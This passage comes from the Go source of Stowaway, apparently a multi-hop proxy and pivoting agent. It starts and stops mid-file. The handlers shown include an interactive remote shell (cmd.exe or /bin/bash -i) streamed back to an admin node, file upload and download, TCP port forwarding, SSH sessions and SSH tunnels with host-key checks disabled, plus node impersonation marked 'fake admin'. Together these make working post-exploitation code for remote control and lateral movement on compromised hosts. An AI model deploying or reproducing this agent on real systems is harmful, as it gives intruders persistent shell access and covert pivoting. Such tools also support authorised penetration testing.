&protocol.ConnectDone{ 62 | OK: 0, 63 | } 64 | 65 | var ( 66 | conn net.Conn 67 | err error 68 | ) 69 | 70 | defer func() { 71 | if err != nil { 72 | protocol.ConstructMessage(sUMessage, doneHeader, doneFailMess, false) 73 | sUMessage.SendMessage() 74 | } 75 | }() 76 | 77 | conn, err = net.DialTimeout("tcp", connect.Addr, 10*time.Second) 78 | 79 | if err != nil { 80 | return 81 | } 82 | 83 | if global.G_TLSEnable { 84 | var tlsConfig *tls.Config 85 | // Set domain as null since we are in the intranet 86 | tlsConfig, err = transport.NewClientTLSConfig("") 87 | if err != nil { 88 | conn.Close() 89 | return 90 | } 91 | conn = transport.WrapTLSClientConn(conn, tlsConfig) 92 | } 93 | // There's no need for the "domain" parameter between intranet nodes 94 | param := new(protocol.NegParam) 95 | param.Conn = conn 96 | proto := protocol.NewDownProto(param) 97 | proto.CNegotiate() 98 | 99 | if err = share.ActivePreAuth(conn); err != nil { 100 | return 101 | } 102 | 103 | sLMessage = protocol.NewDownMsg(conn, global.G_Component.Secret, protocol.ADMIN_UUID) 104 | 105 | protocol.ConstructMessage(sLMessage, hiHeader, hiMess, false) 106 | sLMessage.SendMessage() 107 | 108 | rMessage = protocol.NewDownMsg(conn, global.G_Component.Secret, protocol.ADMIN_UUID) 109 | fHeader, fMessage, err := protocol.DestructMessage(rMessage) 110 | 111 | if err != nil { 112 | conn.Close() 113 | return 114 | } 115 | 116 | var childUUID string 117 | 118 | if fHeader.MessageType == protocol.HI { 119 | mmess := fMessage.(*protocol.HIMess) 120 | if mmess.Greeting == "Keep slient" && mmess.IsAdmin == 0 { 121 | if mmess.IsReconnect == 0 { 122 | childIP := conn.RemoteAddr().String() 123 | 124 | cUUIDReqHeader := &protocol.Header{ 125 | Sender: global.G_Component.UUID, 126 | Accepter: protocol.ADMIN_UUID, 127 | MessageType: protocol.CHILDUUIDREQ, 128 | RouteLen: uint32(len([]byte(protocol.TEMP_ROUTE))), 129 | Route: protocol.TEMP_ROUTE, 130 | } 131 | 132 | cUUIDMess := &protocol.ChildUUIDReq{ 133 | ParentUUIDLen: uint16(len(global.G_Component.UUID)), 134 | ParentUUID: global.G_Component.UUID, 135 | IPLen: uint16(len(childIP)), 136 | IP: childIP, 137 | } 138 | 139 | protocol.ConstructMessage(sUMessage, cUUIDReqHeader, cUUIDMess, false) 140 | sUMessage.SendMessage() 141 | 142 | childUUID = <-mgr.ListenManager.ChildUUIDChan 143 | 144 | uuidHeader := &protocol.Header{ 145 | Sender: protocol.ADMIN_UUID, // Fake admin LOL 146 | Accepter: protocol.TEMP_UUID, 147 | MessageType: protocol.UUID, 148 | RouteLen: uint32(len([]byte(protocol.TEMP_ROUTE))), 149 | Route: protocol.TEMP_ROUTE, 150 | } 151 | 152 | uuidMess := &protocol.UUIDMess{ 153 | UUIDLen: uint16(len(childUUID)), 154 | UUID: childUUID, 155 | } 156 | 157 | protocol.ConstructMessage(sLMessage, uuidHeader, uuidMess, false) 158 | sLMessage.SendMessage() 159 | } else { 160 | reheader := &protocol.Header{ 161 | Sender: global.G_Component.UUID, 162 | Accepter: protocol.ADMIN_UUID, 163 | MessageType: protocol.NODEREONLINE, 164 | RouteLen: uint32(len([]byte(protocol.TEMP_ROUTE))), 165 | Route: protocol.TEMP_ROUTE, 166 | } 167 | 168 | reMess := &protocol.NodeReonline{ 169 | ParentUUIDLen: uint16(len(global.G_Component.UUID)), 170 | ParentUUID: global.G_Component.UUID, 171 | UUIDLen: uint16(len(mmess.UUID)), 172 | UUID: mmess.UUID, 173 | IPLen: uint16(len(conn.RemoteAddr().String())), 174 | IP: conn.RemoteAddr().String(), 175 | } 176 | 177 | protocol.ConstructMessage(sUMessage, reheader, reMess, false) 178 | sUMessage.SendMessage() 179 | 180 | childUUID = mmess.UUID 181 | } 182 | 183 | childrenTask := &manager.ChildrenTask{ 184 | Mode: manager.C_NEWCHILD, 185 | UUID: childUUID, 186 | Conn: conn, 187 | } 188 | mgr.ChildrenManager.TaskChan <- childrenTask 189 | <-mgr.ChildrenManager.ResultChan 190 | 191 | mgr.ChildrenManager.ChildComeChan <- &manager.ChildInfo{UUID: childUUID, Conn: conn} 192 | 193 | protocol.ConstructMessage(sUMessage, doneHeader, doneSuccMess, false) 194 | sUMessage.SendMessage() 195 | 196 | return 197 | } 198 | } 199 | 200 | conn.Close() 201 | err = errors.New("node seems illegal") 202 | } 203 | 204 | func DispatchConnectMess(mgr *manager.Manager) { 205 | for { 206 | message := <-mgr.ConnectManager.ConnectMessChan 207 | 208 | switch mess := message.(type) { 209 | case *protocol.ConnectStart: 210 | connect := newConnect(mess.Addr) 211 | go connect.start(mgr) 212 | } 213 | } 214 | } 215 | -------------------------------------------------------------------------------- /agent/handler/file.go: -------------------------------------------------------------------------------- 1 | package handler 2 | 3 | import ( 4 | "Stowaway/agent/manager" 5 | "Stowaway/protocol" 6 | "Stowaway/share" 7 | ) 8 | 9 | func DispatchFileMess(mgr *manager.Manager) { 10 | for { 11 | message := <-mgr.FileManager.FileMessChan 12 | 13 | switch mess := message.(type) { 14 | case *protocol.FileStatReq: 15 | mgr.FileManager.File.FileName = mess.Filename 16 | mgr.FileManager.File.SliceNum = mess.SliceNum 17 | err := mgr.FileManager.File.CheckFileStat(protocol.TEMP_ROUTE, protocol.ADMIN_UUID, share.AGENT) 18 | if err == nil { 19 | go mgr.FileManager.File.Receive(protocol.TEMP_ROUTE, protocol.ADMIN_UUID, share.AGENT) 20 | } 21 | case *protocol.FileStatRes: 22 | if mess.OK == 1 { 23 | go mgr.FileManager.File.Upload(protocol.TEMP_ROUTE, protocol.ADMIN_UUID, share.AGENT) 24 | } else { 25 | mgr.FileManager.File.Handler.Close() 26 | } 27 | case *protocol.FileDownReq: 28 | mgr.FileManager.File.FilePath = mess.FilePath 29 | mgr.FileManager.File.FileName = mess.Filename 30 | go mgr.FileManager.File.SendFileStat(protocol.TEMP_ROUTE, protocol.ADMIN_UUID, share.AGENT) 31 | case *protocol.FileData: 32 | mgr.FileManager.File.DataChan <- mess.Data 33 | case *protocol.FileErr: 34 | mgr.FileManager.File.ErrChan <- true 35 | } 36 | } 37 | } 38 | -------------------------------------------------------------------------------- /agent/handler/forward.go: -------------------------------------------------------------------------------- 1 | package handler 2 | 3 | import ( 4 | "net" 5 | "time" 6 | 7 | "Stowaway/agent/manager" 8 | "Stowaway/global" 9 | "Stowaway/protocol" 10 | ) 11 | 12 | type Forward struct { 13 | Seq uint64 14 | Addr string 15 | } 16 | 17 | func newForward(seq uint64, addr string) *Forward { 18 | forward := new(Forward) 19 | forward.Seq = seq 20 | forward.Addr = addr 21 | return forward 22 | } 23 | 24 | func (forward *Forward) start(mgr *manager.Manager) { 25 | sMessage := protocol.NewUpMsg(global.G_Component.Conn, global.G_Component.Secret, global.G_Component.UUID) 26 | 27 | finHeader := &protocol.Header{ 28 | Sender: global.G_Component.UUID, 29 | Accepter: protocol.ADMIN_UUID, 30 | MessageType: protocol.FORWARDFIN, 31 | RouteLen: uint32(len([]byte(protocol.TEMP_ROUTE))), 32 | Route: protocol.TEMP_ROUTE, 33 | } 34 | 35 | finMess := &protocol.ForwardFin{ 36 | Seq: forward.Seq, 37 | } 38 | 39 | defer func() { 40 | protocol.ConstructMessage(sMessage, finHeader, finMess, false) 41 | sMessage.SendMessage() 42 | }() 43 | 44 | conn, err := net.DialTimeout("tcp", forward.Addr, 10*time.Second) 45 | if err != nil { 46 | return 47 | } 48 | 49 | task := &manager.ForwardTask{ 50 | Mode: manager.F_CHECKFORWARD, 51 | Seq: forward.Seq, 52 | } 53 | 54 | mgr.ForwardManager.TaskChan <- task 55 | result := <-mgr.ForwardManager.ResultChan 56 | if !result.OK { 57 | conn.Close() 58 | return 59 | } 60 | 61 | task = &manager.ForwardTask{ 62 | Mode: manager.F_GETDATACHAN, 63 | Seq: forward.Seq, 64 | } 65 | mgr.ForwardManager.TaskChan <- task 66 | result = <-mgr.ForwardManager.ResultChan 67 | if !result.OK { // no need to close conn,cuz conn has been already recorded,so if FIN occur between F_UPDATEFORWARD and F_GETDATACHAN,closeTCP will help us to close the conn 68 | return 69 | } 70 | 71 | dataChan := result.DataChan 72 | 73 | go func() { 74 | for { 75 | if data, ok := <-dataChan; ok { 76 | conn.Write(data) 77 | } else { 78 | conn.Close() 79 | return 80 | } 81 | } 82 | }() 83 | 84 | dataHeader := &protocol.Header{ 85 | Sender: global.G_Component.UUID, 86 | Accepter: protocol.ADMIN_UUID, 87 | MessageType: protocol.FORWARDDATA, 88 | RouteLen: uint32(len([]byte(protocol.TEMP_ROUTE))), 89 | Route: protocol.TEMP_ROUTE, 90 | } 91 | 92 | buffer := make([]byte, 20480) 93 | 94 | for { 95 | length, err := conn.Read(buffer) 96 | if err != nil { 97 | conn.Close() 98 | return 99 | } 100 | 101 | forwardDataMess := &protocol.ForwardData{ 102 | Seq: forward.Seq, 103 | DataLen: uint64(length), 104 | Data: buffer[:length], 105 | } 106 | 107 | protocol.ConstructMessage(sMessage, dataHeader, forwardDataMess, false) 108 | sMessage.SendMessage() 109 | } 110 | } 111 | 112 | func testForward(addr string) { 113 | sMessage := protocol.NewUpMsg(global.G_Component.Conn, global.G_Component.Secret, global.G_Component.UUID) 114 | 115 | header := &protocol.Header{ 116 | Sender: global.G_Component.UUID, 117 | Accepter: protocol.ADMIN_UUID, 118 | MessageType: protocol.FORWARDREADY, 119 | RouteLen: uint32(len([]byte(protocol.TEMP_ROUTE))), 120 | Route: protocol.TEMP_ROUTE, 121 | } 122 | 123 | succMess := &protocol.ForwardReady{ 124 | OK: 1, 125 | } 126 | 127 | failMess := &protocol.ForwardReady{ 128 | OK: 0, 129 | } 130 | 131 | conn, err := net.DialTimeout("tcp", addr, 10*time.Second) 132 | if err != nil { 133 | protocol.ConstructMessage(sMessage, header, failMess, false) 134 | sMessage.SendMessage() 135 | return 136 | } 137 | 138 | conn.Close() 139 | 140 | protocol.ConstructMessage(sMessage, header, succMess, false) 141 | sMessage.SendMessage() 142 | } 143 | 144 | func DispatchForwardMess(mgr *manager.Manager) { 145 | for { 146 | message := <-mgr.ForwardManager.ForwardMessChan 147 | 148 | switch mess := message.(type) { 149 | case *protocol.ForwardTest: 150 | go testForward(mess.Addr) 151 | case *protocol.ForwardStart: 152 | task := &manager.ForwardTask{ 153 | Mode: manager.F_NEWFORWARD, 154 | Seq: mess.Seq, 155 | } 156 | mgr.ForwardManager.TaskChan <- task 157 | <-mgr.ForwardManager.ResultChan 158 | forward := newForward(mess.Seq, mess.Addr) 159 | go forward.start(mgr) 160 | case *protocol.ForwardData: 161 | mgrTask := &manager.ForwardTask{ 162 | Mode: manager.F_GETDATACHAN, 163 | Seq: mess.Seq, 164 | } 165 | mgr.ForwardManager.TaskChan <- mgrTask 166 | result := <-mgr.ForwardManager.ResultChan 167 | if result.OK { 168 | result.DataChan <- mess.Data 169 | } 170 | case *protocol.ForwardFin: 171 | mgrTask := &manager.ForwardTask{ 172 | Mode: manager.F_CLOSETCP, 173 | Seq: mess.Seq, 174 | } 175 | mgr.ForwardManager.TaskChan <- mgrTask 176 | } 177 | } 178 | } 179 | -------------------------------------------------------------------------------- /agent/handler/shell.go: -------------------------------------------------------------------------------- 1 | package handler 2 | 3 | import ( 4 | "io" 5 | "os/exec" 6 | "runtime" 7 | 8 | "Stowaway/agent/initial" 9 | "Stowaway/agent/manager" 10 | "Stowaway/global" 11 | "Stowaway/protocol" 12 | "Stowaway/utils" 13 | ) 14 | 15 | type Shell struct { 16 | stdin io.Writer 17 | stdout io.Reader 18 | charset string 19 | } 20 | 21 | func newShell(options *initial.Options) *Shell { 22 | shell := new(Shell) 23 | shell.charset = options.Charset 24 | return shell 25 | } 26 | 27 | func (shell *Shell) start() { 28 | var cmd *exec.Cmd 29 | var err error 30 | 31 | sMessage := protocol.NewUpMsg(global.G_Component.Conn, global.G_Component.Secret, global.G_Component.UUID) 32 | 33 | shellResHeader := &protocol.Header{ 34 | Sender: global.G_Component.UUID, 35 | Accepter: protocol.ADMIN_UUID, 36 | MessageType: protocol.SHELLRES, 37 | RouteLen: uint32(len([]byte(protocol.TEMP_ROUTE))), // No need to set route when agent send mess to admin 38 | Route: protocol.TEMP_ROUTE, 39 | } 40 | 41 | shellResultHeader := &protocol.Header{ 42 | Sender: global.G_Component.UUID, 43 | Accepter: protocol.ADMIN_UUID, 44 | MessageType: protocol.SHELLRESULT, 45 | RouteLen: uint32(len([]byte(protocol.TEMP_ROUTE))), // No need to set route when agent send mess to admin 46 | Route: protocol.TEMP_ROUTE, 47 | } 48 | 49 | shellResFailMess := &protocol.ShellRes{ 50 | OK: 0, 51 | } 52 | 53 | shellResSuccMess := &protocol.ShellRes{ 54 | OK: 1, 55 | } 56 | 57 | defer func() { 58 | if err != nil { 59 | protocol.ConstructMessage(sMessage, shellResHeader, shellResFailMess, false) 60 | sMessage.SendMessage() 61 | } 62 | }() 63 | 64 | switch utils.CheckSystem() { 65 | case 0x01: 66 | cmd = exec.Command("c:\\windows\\system32\\cmd.exe") 67 | // cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true} // If you don't want the cmd window, remove "//" 68 | default: 69 | cmd = exec.Command("/bin/sh", "-i") 70 | if runtime.GOARCH == "386" || runtime.GOARCH == "amd64" { 71 | cmd = exec.Command("/bin/bash", "-i") 72 | } 73 | // If you want to start agent with "&" and you also want to use command "shell",plz recompile a brand new agent by removing "//" in the front of line 70&&71 74 | // cmd.SysProcAttr = &syscall.SysProcAttr{Foreground: true} 75 | // signal.Ignore(syscall.SIGTTIN, syscall.SIGTTOU) 76 | } 77 | 78 | shell.stdout, err = cmd.StdoutPipe() 79 | if err != nil { 80 | return 81 | } 82 | 83 | shell.stdin, err = cmd.StdinPipe() 84 | if err != nil { 85 | return 86 | } 87 | 88 | cmd.Stderr = cmd.Stdout //将stderr重定向至stdout 89 | 90 | err = cmd.Start() 91 | if err != nil { 92 | return 93 | } 94 | 95 | protocol.ConstructMessage(sMessage, shellResHeader, shellResSuccMess, false) 96 | sMessage.SendMessage() 97 | 98 | shellExitHeader := &protocol.Header{ 99 | Sender: global.G_Component.UUID, 100 | Accepter: protocol.ADMIN_UUID, 101 | MessageType: protocol.SHELLEXIT, 102 | RouteLen: uint32(len([]byte(protocol.TEMP_ROUTE))), // No need to set route when agent send mess to admin 103 | Route: protocol.TEMP_ROUTE, 104 | } 105 | 106 | shellExitMess := &protocol.ShellExit{ 107 | OK: 1, 108 | } 109 | 110 | buffer := make([]byte, 4096) 111 | for { 112 | count, err := shell.stdout.Read(buffer) 113 | 114 | if err != nil { 115 | protocol.ConstructMessage(sMessage, shellExitHeader, shellExitMess, false) 116 | sMessage.SendMessage() 117 | return 118 | } 119 | 120 | result := string(buffer[:count]) 121 | if shell.charset == "gbk" { // Fix shell output bug when agent is running on Windows,thanks to @lz520520 122 | result = utils.ConvertGBK2Str(result) 123 | count = len(result) 124 | } 125 | 126 | shellResultMess := &protocol.ShellResult{ 127 | ResultLen: uint64(count), 128 | Result: result, 129 | } 130 | 131 | protocol.ConstructMessage(sMessage, shellResultHeader, shellResultMess, false) 132 | sMessage.SendMessage() 133 | } 134 | } 135 | 136 | func (shell *Shell) input(command string) { 137 | if shell.charset == "gbk" { 138 | command = utils.ConvertStr2GBK(command) 139 | } 140 | 141 | shell.stdin.Write([]byte(command)) 142 | } 143 | 144 | func DispatchShellMess(mgr *manager.Manager, options *initial.Options) { 145 | var shell *Shell 146 | 147 | for { 148 | message := <-mgr.ShellManager.ShellMessChan 149 | 150 | switch mess := message.(type) { 151 | case *protocol.ShellReq: 152 | shell = newShell(options) 153 | go shell.start() 154 | case *protocol.ShellCommand: 155 | shell.input(mess.Command) 156 | } 157 | } 158 | } 159 | -------------------------------------------------------------------------------- /agent/handler/ssh.go: -------------------------------------------------------------------------------- 1 | package handler 2 | 3 | import ( 4 | "io" 5 | "time" 6 | 7 | "Stowaway/agent/manager" 8 | "Stowaway/global" 9 | "Stowaway/protocol" 10 | "Stowaway/utils" 11 | 12 | "golang.org/x/crypto/ssh" 13 | ) 14 | 15 | const ( 16 | UPMETHOD = iota 17 | CERMETHOD 18 | ) 19 | 20 | type SSH struct { 21 | stdin io.Writer 22 | stdout io.Reader 23 | sshHost *ssh.Session 24 | Method int 25 | Addr string 26 | Username string 27 | Password string 28 | Certificate []byte 29 | } 30 | 31 | func newSSH() *SSH { 32 | return new(SSH) 33 | } 34 | 35 | // StartSSH 启动ssh 36 | func (mySSH *SSH) start() { 37 | var authPayload ssh.AuthMethod 38 | var err error 39 | 40 | sMessage := protocol.NewUpMsg(global.G_Component.Conn, global.G_Component.Secret, global.G_Component.UUID) 41 | 42 | sshResheader := &protocol.Header{ 43 | Sender: global.G_Component.UUID, 44 | Accepter: protocol.ADMIN_UUID, 45 | MessageType: protocol.SSHRES, 46 | RouteLen: uint32(len([]byte(protocol.TEMP_ROUTE))), // No need to set route when agent send mess to admin 47 | Route: protocol.TEMP_ROUTE, 48 | } 49 | 50 | sshResultheader := &protocol.Header{ 51 | Sender: global.G_Component.UUID, 52 | Accepter: protocol.ADMIN_UUID, 53 | MessageType: protocol.SSHRESULT, 54 | RouteLen: uint32(len([]byte(protocol.TEMP_ROUTE))), // No need to set route when agent send mess to admin 55 | Route: protocol.TEMP_ROUTE, 56 | } 57 | 58 | sshResSuccMess := &protocol.SSHRes{ 59 | OK: 1, 60 | } 61 | 62 | sshResFailMess := &protocol.SSHRes{ 63 | OK: 0, 64 | } 65 | 66 | defer func() { 67 | if err != nil { 68 | protocol.ConstructMessage(sMessage, sshResheader, sshResFailMess, false) 69 | sMessage.SendMessage() 70 | } 71 | }() 72 | 73 | switch mySSH.Method { 74 | case UPMETHOD: 75 | authPayload = ssh.Password(mySSH.Password) 76 | case CERMETHOD: 77 | var key ssh.Signer 78 | key, err = ssh.ParsePrivateKey(mySSH.Certificate) 79 | if err != nil { 80 | return 81 | } 82 | authPayload = ssh.PublicKeys(key) 83 | } 84 | 85 | sshDial, err := ssh.Dial("tcp", mySSH.Addr, &ssh.ClientConfig{ 86 | User: mySSH.Username, 87 | Auth: []ssh.AuthMethod{authPayload}, 88 | HostKeyCallback: ssh.InsecureIgnoreHostKey(), 89 | Timeout: 10 * time.Second, 90 | }) 91 | if err != nil { 92 | return 93 | } 94 | 95 | mySSH.sshHost, err = sshDial.NewSession() 96 | if err != nil { 97 | return 98 | } 99 | 100 | mySSH.stdout, err = mySSH.sshHost.StdoutPipe() 101 | if err != nil { 102 | return 103 | } 104 | 105 | mySSH.stdin, err = mySSH.sshHost.StdinPipe() 106 | if err != nil { 107 | return 108 | } 109 | 110 | mySSH.sshHost.Stderr = mySSH.sshHost.Stdout 111 | 112 | modes := ssh.TerminalModes{ 113 | ssh.ECHO: 1, 114 | ssh.TTY_OP_ISPEED: 14400, 115 | ssh.TTY_OP_OSPEED: 14400, 116 | } 117 | 118 | var term string 119 | 120 | switch utils.CheckSystem() { 121 | case 0x01: 122 | term = "" 123 | case 0x02: 124 | term = "linux" 125 | case 0x03: 126 | term = "xterm" 127 | } 128 | 129 | err = mySSH.sshHost.RequestPty(term, 25, 80, modes) 130 | if err != nil { 131 | return 132 | } 133 | 134 | err = mySSH.sshHost.Shell() 135 | if err != nil { 136 | return 137 | } 138 | 139 | protocol.ConstructMessage(sMessage, sshResheader, sshResSuccMess, false) 140 | sMessage.SendMessage() 141 | 142 | sshExitHeader := &protocol.Header{ 143 | Sender: global.G_Component.UUID, 144 | Accepter: protocol.ADMIN_UUID, 145 | MessageType: protocol.SSHEXIT, 146 | RouteLen: uint32(len([]byte(protocol.TEMP_ROUTE))), // No need to set route when agent send mess to admin 147 | Route: protocol.TEMP_ROUTE, 148 | } 149 | 150 | sshExitMess := &protocol.SSHExit{ 151 | OK: 1, 152 | } 153 | 154 | buffer := make([]byte, 4096) 155 | for { 156 | length, err := mySSH.stdout.Read(buffer) 157 | 158 | if err != nil { 159 | protocol.ConstructMessage(sMessage, sshExitHeader, sshExitMess, false) 160 | sMessage.SendMessage() 161 | return 162 | } 163 | 164 | sshResultMess := &protocol.SSHResult{ 165 | ResultLen: uint64(length), 166 | Result: string(buffer[:length]), 167 | } 168 | 169 | protocol.ConstructMessage(sMessage, sshResultheader, sshResultMess, false) 170 | sMessage.SendMessage() 171 | } 172 | } 173 | 174 | // WriteCommand 写入command 175 | func (mySSH *SSH) input(command string) { 176 | mySSH.stdin.Write([]byte(command)) 177 | } 178 | 179 | func DispatchSSHMess(mgr *manager.Manager) { 180 | var mySSH *SSH 181 | 182 | for { 183 | message := <-mgr.SSHManager.SSHMessChan 184 | 185 | switch mess := message.(type) { 186 | case *protocol.SSHReq: 187 | mySSH = newSSH() 188 | mySSH.Addr = mess.Addr 189 | mySSH.Method = int(mess.Method) 190 | mySSH.Username = mess.Username 191 | mySSH.Password = mess.Password 192 | mySSH.Certificate = mess.Certificate 193 | go mySSH.start() 194 | case *protocol.SSHCommand: 195 | mySSH.input(mess.Command) 196 | } 197 | } 198 | } 199 | -------------------------------------------------------------------------------- /agent/handler/sshtunnel.go: -------------------------------------------------------------------------------- 1 | package handler 2 | 3 | import ( 4 | "errors" 5 | "fmt" 6 | "time" 7 | 8 | "Stowaway/agent/manager" 9 | "Stowaway/global" 10 | "Stowaway/protocol" 11 | "Stowaway/share" 12 | 13 | "golang.org/x/crypto/ssh" 14 | ) 15 | 16 | type SSHTunnel struct { 17 | Method int 18 | Addr string 19 | Port string 20 | Username string 21 | Password string 22 | Certificate []byte 23 | } 24 | 25 | func newSSHTunnel(method int, addr, port, username, password string, certificate []byte) *SSHTunnel { 26 | sshTunnel := new(SSHTunnel) 27 | sshTunnel.Method = method 28 | sshTunnel.Addr = addr 29 | sshTunnel.Port = port 30 | sshTunnel.Username = username 31 | sshTunnel.Password = password 32 | sshTunnel.Certificate = certificate 33 | return sshTunnel 34 | } 35 | 36 | func (sshTunnel *SSHTunnel) start(mgr *manager.Manager) { 37 | var authPayload ssh.AuthMethod 38 | var err error 39 | var sUMessage, sLMessage, rMessage protocol.Message 40 | 41 | sUMessage = protocol.NewUpMsg(global.G_Component.Conn, global.G_Component.Secret, global.G_Component.UUID) 42 | 43 | sshTunnelResheader := &protocol.Header{ 44 | Sender: global.G_Component.UUID, 45 | Accepter: protocol.ADMIN_UUID, 46 | MessageType: protocol.SSHTUNNELRES, 47 | RouteLen: uint32(len([]byte(protocol.TEMP_ROUTE))), // No need to set route when agent send mess to admin 48 | Route: protocol.TEMP_ROUTE, 49 | } 50 | 51 | sshTunnelResSuccMess := &protocol.SSHTunnelRes{ 52 | OK: 1, 53 | } 54 | 55 | sshTunnelResFailMess := &protocol.SSHTunnelRes{ 56 | OK: 0, 57 | } 58 | 59 | defer func() { 60 | if err != nil { 61 | protocol.ConstructMessage(sUMessage, sshTunnelResheader, sshTunnelResFailMess, false) 62 | sUMessage.SendMessage() 63 | } 64 | }() 65 | 66 | switch sshTunnel.Method { 67 | case UPMETHOD: 68 | authPayload = ssh.Password(sshTunnel.Password) 69 | case CERMETHOD: 70 | var key ssh.Signer 71 | key, err = ssh.ParsePrivateKey(sshTunnel.Certificate) 72 | if err != nil { 73 | return 74 | } 75 | authPayload = ssh.PublicKeys(key) 76 | } 77 | 78 | sshDial, err := ssh.Dial("tcp", sshTunnel.Addr, &ssh.ClientConfig{ 79 | User: sshTunnel.Username, 80 | Auth: []ssh.AuthMethod{authPayload}, 81 | HostKeyCallback: ssh.InsecureIgnoreHostKey(), 82 | Timeout: 10 * time.Second, 83 | }) 84 | if err != nil { 85 | return 86 | } 87 | 88 | conn, err := sshDial.Dial("tcp", fmt.Sprintf("127.0.0.1:%s", sshTunnel.Port)) 89 | if err != nil { 90 | return 91 | } 92 | 93 | if err = share.ActivePreAuth(conn); err != nil { 94 | return 95 | } 96 | 97 | sLMessage = protocol.NewDownMsg(conn, global.G_Component.Secret, protocol.ADMIN_UUID) 98 | 99 | hiHeader := &protocol.Header{ 100 | Sender: protocol.ADMIN_UUID, // fake admin 101 | Accepter: protocol.TEMP_UUID, 102 | MessageType: protocol.HI, 103 | RouteLen: uint32(len([]byte(protocol.TEMP_ROUTE))), 104 | Route: protocol.TEMP_ROUTE, 105 | } 106 | 107 | // fake admin 108 | hiMess := &protocol.HIMess{ 109 | GreetingLen: uint16(len("Shhh...")), 110 | Greeting: "Shhh...", 111 | UUIDLen: uint16(len(protocol.ADMIN_UUID)), 112 | UUID: protocol.ADMIN_UUID, 113 | IsAdmin: 1, 114 | IsReconnect: 0, 115 | } 116 | 117 | protocol.ConstructMessage(sLMessage, hiHeader, hiMess, false) 118 | sLMessage.SendMessage() 119 | 120 | rMessage = protocol.NewDownMsg(conn, global.G_Component.Secret, protocol.ADMIN_UUID) 121 | fHeader, fMessage, err := protocol.DestructMessage(rMessage) 122 | if err != nil { 123 | conn.Close() 124 | return 125 | } 126 | 127 | if fHeader.MessageType == protocol.HI { 128 | mmess := fMessage.(*protocol.HIMess) 129 | if mmess.Greeting == "Keep slient" && mmess.IsAdmin == 0 { 130 | childIP := conn.RemoteAddr().String() 131 | 132 | cUUIDReqHeader := &protocol.Header{ 133 | Sender: global.G_Component.UUID, 134 | Accepter: protocol.ADMIN_UUID, 135 | MessageType: protocol.CHILDUUIDREQ, 136 | RouteLen: uint32(len([]byte(protocol.TEMP_ROUTE))), 137 | Route: protocol.TEMP_ROUTE, 138 | } 139 | 140 | cUUIDMess := &protocol.ChildUUIDReq{ 141 | ParentUUIDLen: uint16(len(global.G_Component.UUID)), 142 | ParentUUID: global.G_Component.UUID, 143 | IPLen: uint16(len(childIP)), 144 | IP: childIP, 145 | } 146 | 147 | protocol.ConstructMessage(sUMessage, cUUIDReqHeader, cUUIDMess, false) 148 | sUMessage.SendMessage() 149 | 150 | childUUID := <-mgr.ListenManager.ChildUUIDChan 151 | 152 | uuidHeader := &protocol.Header{ 153 | Sender: protocol.ADMIN_UUID, 154 | Accepter: protocol.TEMP_UUID, 155 | MessageType: protocol.UUID, 156 | RouteLen: uint32(len([]byte(protocol.TEMP_ROUTE))), 157 | Route: protocol.TEMP_ROUTE, 158 | } 159 | 160 | uuidMess := &protocol.UUIDMess{ 161 | UUIDLen: uint16(len(childUUID)), 162 | UUID: childUUID, 163 | } 164 | 165 | protocol.ConstructMessage(sLMessage, uuidHeader, uuidMess, false) 166 | sLMessage.SendMessage() 167 | 168 | childrenTask := &manager.ChildrenTask{ 169 | Mode: manager.C_NEWCHILD, 170 | UUID: childUUID, 171 | Conn: conn, 172 | } 173 | mgr.ChildrenManager.TaskChan <- childrenTask 174 | <-mgr.ChildrenManager.ResultChan 175 | 176 | mgr.ChildrenManager.ChildComeChan <- &manager.ChildInfo{UUID: childUUID, Conn: conn} 177 | 178 | protocol.ConstructMessage(sUMessage, sshTunnelResheader, sshTunnelResSuccMess, false) 179 | sUMessage.SendMessage() 180 | 181 | return 182 | } 183 | } 184 | 185 | conn.Close() 186 | err = errors.New("node seems illegal") 187 | } 188 | 189 | func DispatchSSHTunnelMess(mgr *manager.Manager) { 190 | for { 191 | message := <-mgr.SSHTunnelManager.SSHTunnelMessChan 192 | 193 | switch mess := message.(type) { 194 | case *protocol.SSHTunnelReq: 195 | sshTunnel := newSSHTunnel(int(mess.Method), mess.Addr, mess.Port, mess.Username, mess.Password, mess.Certificate) 196 | go sshTunnel.start(mgr) 197 | } 198 | } 199 | } 200 | -------------------------------------------------------------------------------- /agent/initial/parser.go: -------------------------------------------------------------------------------- 1 | package initial 2 | 3 | import ( 4 | "errors" 5 | "flag" 6 | "log" 7 | "net" 8 | "os" 9 | "strings" 10 | ) 11 | 12 | const ( 13 | NORMAL_ACTIVE = iota 14 | NORMAL_RECONNECT_ACTIVE 15 | NORMAL_PASSIVE 16 | SOCKS5_PROXY_ACTIVE 17 | HTTP_PROXY_ACTIVE 18 | SOCKS5_PROXY_RECONNECT_ACTIVE 19 | HTTP_PROXY_RECONNECT_ACTIVE 20 | SO_REUSE_PASSIVE 21 | IPTABLES_REUSE_PASSIVE 22 | ) 23 | 24 | type Options struct { 25 | Mode int 26 | Secret string 27 | Listen string 28 | Reconnect uint64 29 | Connect string 30 | ReuseHost string 31 | ReusePort string 32 | Socks5Proxy string 33 | Socks5ProxyU string 34 | Socks5ProxyP string 35 | HttpProxy string 36 | Upstream string 37 | Downstream string 38 | Charset string 39 | Domain string 40 | TlsEnable bool 41 | } 42 | 43 | var args *Options 44 | 45 | func init() { 46 | args = new(Options) 47 | 48 | flag.StringVar(&args.Secret, "s", "", "") 49 | flag.StringVar(&args.Listen, "l", "", "") 50 | flag.Uint64Var(&args.Reconnect, "reconnect", 0, "") 51 | flag.StringVar(&args.Connect, "c", "", "") 52 | flag.StringVar(&args.ReuseHost, "rehost", "", "") 53 | flag.StringVar(&args.ReusePort, "report", "", "") 54 | flag.StringVar(&args.Socks5Proxy, "socks5-proxy", "", "") 55 | flag.StringVar(&args.Socks5ProxyU, "socks5-proxyu", "", "") 56 | flag.StringVar(&args.Socks5ProxyP, "socks5-proxyp", "", "") 57 | flag.StringVar(&args.HttpProxy, "http-proxy", "", "") 58 | flag.StringVar(&args.Upstream, "up", "raw", "") 59 | flag.StringVar(&args.Downstream, "down", "raw", "") 60 | flag.StringVar(&args.Charset, "cs", "utf-8", "") 61 | flag.StringVar(&args.Domain, "domain", "", "") 62 | flag.BoolVar(&args.TlsEnable, "tls-enable", false, "") 63 | 64 | flag.Usage = func() {} 65 | } 66 | 67 | // ParseOptions Parsing user's options 68 | func ParseOptions() *Options { 69 | 70 | flag.Parse() 71 | 72 | if args.Listen != "" && args.Connect == "" && args.Reconnect == 0 && args.ReuseHost == "" && args.ReusePort == "" && args.Socks5Proxy == "" && 